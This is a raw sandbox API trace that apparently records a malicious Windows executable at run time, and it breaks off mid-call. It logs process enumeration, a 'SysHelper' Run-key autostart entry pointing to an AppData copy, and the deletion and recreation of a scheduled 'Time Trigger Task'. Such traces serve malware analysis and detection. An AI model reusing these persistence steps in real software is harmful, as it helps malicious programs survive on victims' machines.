[0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x1e0) returned 0x7c8d70 [0046.913] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7c8d70 | out: hHeap=0x6d0000) returned 1 [0046.913] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x789848 | out: hHeap=0x6d0000) returned 1 [0046.913] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x772680 | out: hHeap=0x6d0000) returned 1 [0046.913] GetCurrentProcess () returned 0xffffffff [0046.913] GetLastError () returned 0x2 [0046.913] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x10) returned 0x7ad710 [0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x110) returned 0x7b34b8 [0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x800) returned 0x30a0048 [0046.913] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30a0048, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe")) returned 0x6a [0046.913] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0046.913] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x810) returned 0x30a0850 [0046.913] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0046.914] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18c168 | out: pNumArgs=0x18c168) returned 0x3068e78*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0046.914] lstrcpyW (in: lpString1=0x18ce18, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0046.914] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0046.914] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0046.914] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0046.914] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18c104 | out: pNumArgs=0x18c104) returned 0x3068e78*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0046.914] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" [0046.914] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0046.915] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0046.915] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0046.915] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0046.915] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0046.916] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0046.917] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0046.917] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0046.917] EnumProcesses (in: lpidProcess=0x181900, cb=0xa000, lpcbNeeded=0x18c110 | out: lpidProcess=0x181900, lpcbNeeded=0x18c110) returned 1 [0046.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0046.919] CloseHandle (hObject=0x0) returned 0 [0046.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0046.919] CloseHandle (hObject=0x0) returned 0 [0046.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0046.919] CloseHandle (hObject=0x0) returned 0 [0046.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0046.919] CloseHandle (hObject=0x0) returned 0 [0046.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0046.920] CloseHandle (hObject=0x0) returned 0 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0046.921] CloseHandle (hObject=0x0) returned 0 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x59c [0046.921] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.921] CloseHandle (hObject=0x59c) returned 1 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x59c [0046.921] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.921] CloseHandle (hObject=0x59c) returned 1 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0046.921] CloseHandle (hObject=0x0) returned 0 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x59c [0046.921] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.921] CloseHandle (hObject=0x59c) returned 1 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0046.921] CloseHandle (hObject=0x0) returned 0 [0046.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x59c [0046.921] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.921] CloseHandle (hObject=0x59c) returned 1 [0046.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x0 [0046.922] CloseHandle (hObject=0x0) returned 0 [0046.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x440) returned 0x59c [0046.922] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.923] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xb50000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="consists.exe") returned 0xc [0046.923] CloseHandle (hObject=0x59c) returned 1 [0046.923] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x660) returned 0x59c [0046.923] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.924] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="combat_zum.exe") returned 0xe [0046.924] CloseHandle (hObject=0x59c) returned 1 [0046.924] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x32c) returned 0x59c [0046.924] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.925] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="inch_allocated.exe") returned 0x12 [0046.925] CloseHandle (hObject=0x59c) returned 1 [0046.925] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x604) returned 0x59c [0046.925] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.926] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc10000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="tired_accessibility_tie.exe") returned 0x1b [0046.926] CloseHandle (hObject=0x59c) returned 1 [0046.926] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x59c [0046.926] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.927] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1a0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="elephant.exe") returned 0xc [0046.927] CloseHandle (hObject=0x59c) returned 1 [0046.928] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x59c [0046.928] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.928] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1230000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="size_magnetic.exe") returned 0x11 [0046.929] CloseHandle (hObject=0x59c) returned 1 [0046.929] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2ac) returned 0x59c [0046.929] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.930] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xcf0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="namely.exe") returned 0xa [0046.930] CloseHandle (hObject=0x59c) returned 1 [0046.930] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x59c [0046.930] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.931] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x12e0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="peter simply interfaces.exe") returned 0x1b [0046.931] CloseHandle (hObject=0x59c) returned 1 [0046.931] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x59c [0046.931] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.932] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xb60000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="comply_holdings_miami.exe") returned 0x19 [0046.932] CloseHandle (hObject=0x59c) returned 1 [0046.932] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a4) returned 0x59c [0046.932] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.933] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x50000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="pills.exe") returned 0x9 [0046.933] CloseHandle (hObject=0x59c) returned 1 [0046.933] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x794) returned 0x59c [0046.933] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.934] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1250000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="fascinating.exe") returned 0xf [0046.934] CloseHandle (hObject=0x59c) returned 1 [0046.935] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x774) returned 0x59c [0046.935] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.935] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x260000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="architectural.exe") returned 0x11 [0046.936] CloseHandle (hObject=0x59c) returned 1 [0046.936] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7c0) returned 0x59c [0046.936] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.937] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x1f0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="integrating-prev.exe") returned 0x14 [0046.937] CloseHandle (hObject=0x59c) returned 1 [0046.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x59c [0046.937] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.938] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x840000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="interact_mixture_famous.exe") returned 0x1b [0046.938] CloseHandle (hObject=0x59c) returned 1 [0046.938] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x59c [0046.938] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.939] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xa90000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="midwest curriculum samoa.exe") returned 0x1c [0046.939] CloseHandle (hObject=0x59c) returned 1 [0046.939] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x518) returned 0x59c [0046.939] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.940] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x11e0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="dreams personality.exe") returned 0x16 [0046.940] CloseHandle (hObject=0x59c) returned 1 [0046.940] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x59c [0046.940] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.941] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xb20000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="failure.exe") returned 0xb [0046.941] CloseHandle (hObject=0x59c) returned 1 [0046.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x59c [0046.941] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.942] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xe70000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="generation_prints_boutique.exe") returned 0x1e [0046.943] CloseHandle (hObject=0x59c) returned 1 [0046.943] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x59c [0046.943] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.944] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xa30000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="loves.exe") returned 0x9 [0046.944] CloseHandle (hObject=0x59c) returned 1 [0046.944] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x59c [0046.944] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.945] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xbf0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="hiring.exe") returned 0xa [0046.945] CloseHandle (hObject=0x59c) returned 1 [0046.945] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0x59c [0046.945] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.946] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xf20000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="humanity maximum.exe") returned 0x14 [0046.946] CloseHandle (hObject=0x59c) returned 1 [0046.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ac) returned 0x59c [0046.947] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.947] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xad0000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="constructed.exe") returned 0xf [0046.948] CloseHandle (hObject=0x59c) returned 1 [0046.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x59c [0046.948] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.949] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0xc40000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="contractors-latinas-why.exe") returned 0x1b [0046.949] CloseHandle (hObject=0x59c) returned 1 [0046.949] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x828) returned 0x0 [0046.949] CloseHandle (hObject=0x0) returned 0 [0046.949] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x900) returned 0x59c [0046.949] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.949] CloseHandle (hObject=0x59c) returned 1 [0046.949] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xaa8) returned 0x59c [0046.949] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 1 [0046.950] GetModuleBaseNameW (in: hProcess=0x59c, hModule=0x400000, lpBaseName=0x18b900, nSize=0x400 | out: lpBaseName="CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 0x44 [0046.950] CloseHandle (hObject=0x59c) returned 1 [0046.950] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad4) returned 0x59c [0046.950] EnumProcessModules (in: hProcess=0x59c, lphModule=0x18c11c, cb=0x4, lpcbNeeded=0x18c100 | out: lphModule=0x18c11c, lpcbNeeded=0x18c100) returned 0 [0046.950] CloseHandle (hObject=0x59c) returned 1 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x28) returned 0x786020 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x7adc28 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x3083b18 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x7b0108 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x7b0370 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a1068 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a12d0 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a1538 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a17a0 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a1a08 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x25c) returned 0x30a1c70 [0046.951] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c100 | out: phkResult=0x18c100*=0x59c) returned 0x0 [0046.951] RegQueryValueExW (in: hKey=0x59c, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c0fc, lpData=0x18a828, lpcbData=0x18c0e0*=0x400 | out: lpType=0x18c0fc*=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe\" --AutoStart", lpcbData=0x18c0e0*=0x148) returned 0x0 [0046.951] RegCloseKey (hKey=0x59c) returned 0x0 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x150) returned 0x7b05d8 [0046.951] lstrlenA (lpString="\" --AutoStart") returned 13 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x305b290 [0046.951] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x7b05d8 | out: hHeap=0x6d0000) returned 1 [0046.951] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\6b294fe4-e3b3-4741-b743-c8423c8d7aef\\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe") returned 1 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x7b05d8 [0046.951] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x305b290 | out: hHeap=0x6d0000) returned 1 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x305b290 [0046.951] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x3065ba0 [0046.951] CoInitialize (pvReserved=0x0) returned 0x0 [0046.958] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0046.958] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x130) returned 0x3073d10 [0046.959] CoCreateInstance (in: rclsid=0x44ffcc*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x44ff4c*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x18c0ec | out: ppv=0x18c0ec*=0x27508b8) returned 0x0 [0046.964] TaskScheduler:ITaskService:Connect (This=0x27508b8, serverName=0x18bb78*(varType=0x0, wReserved1=0x305, wReserved2=0xb288, wReserved3=0x305, varVal1=0x97, varVal2=0x130), user=0x18bb88*(varType=0x0, wReserved1=0x0, wReserved2=0x3, wReserved3=0x0, varVal1=0x0, varVal2=0x138), domain=0x18bb98*(varType=0x0, wReserved1=0x0, wReserved2=0x130, wReserved3=0x0, varVal1=0x97, varVal2=0x7), password=0x18bba8*(varType=0x0, wReserved1=0x30a, wReserved2=0xc094, wReserved3=0x18, varVal1=0x41720b, varVal2=0x6d0000)) returned 0x0 [0046.966] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c258 [0046.966] TaskScheduler:ITaskService:GetFolder (in: This=0x27508b8, Path="\\", ppFolder=0x18c0f4 | out: ppFolder=0x18c0f4*=0x2750920) returned 0x0 [0046.966] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c258 | out: hHeap=0x6d0000) returned 1 [0046.966] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c258 [0046.966] ITaskFolder:DeleteTask (This=0x2750920, Name="Time Trigger Task", flags=0) returned 0x0 [0047.005] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c258 | out: hHeap=0x6d0000) returned 1 [0047.005] TaskScheduler:ITaskService:NewTask (in: This=0x27508b8, flags=0x0, ppDefinition=0x18c0f8 | out: ppDefinition=0x18c0f8*=0x2750950) returned 0x0 [0047.006] TaskScheduler:IUnknown:Release (This=0x27508b8) returned 0x1 [0047.006] ITaskDefinition:get_RegistrationInfo (in: This=0x2750950, ppRegistrationInfo=0x18c0cc | out: 